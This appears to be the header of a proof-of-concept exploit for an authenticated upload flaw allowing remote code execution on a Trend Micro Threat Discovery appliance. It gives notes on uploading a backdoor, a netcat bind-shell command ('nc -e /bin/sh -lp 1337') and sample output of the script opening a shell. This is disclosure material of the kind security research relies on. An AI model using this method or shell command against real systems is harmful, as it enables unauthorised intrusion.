Summary: | |
======== | |
There exists a post authenticated upload vulnerability that can be used to execute arbitrary code. | |
Notes: | |
====== | |
- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was | |
take command, upload bd, exec, read, rinse, repeat. | |
- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the | |
log_query_system.cgi was unstable. | |
- Auth is VERY weak, no privilege seperation, no username required, no password policy, no protection from bruteforce attempts... | |
Example: | |
======== | |
saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py | |
(+) usage: ./poc.py <target> <pass> | |
(+) eg: ./poc.py 172.16.175.123 admin123 | |
saturn:trend_micro_threat_discovery_upload_rce mr_me$ ./poc.py 172.16.175.123 admin123 | |
(+) logged in... | |
(+) popping shell, type 'exit' to exit. | |
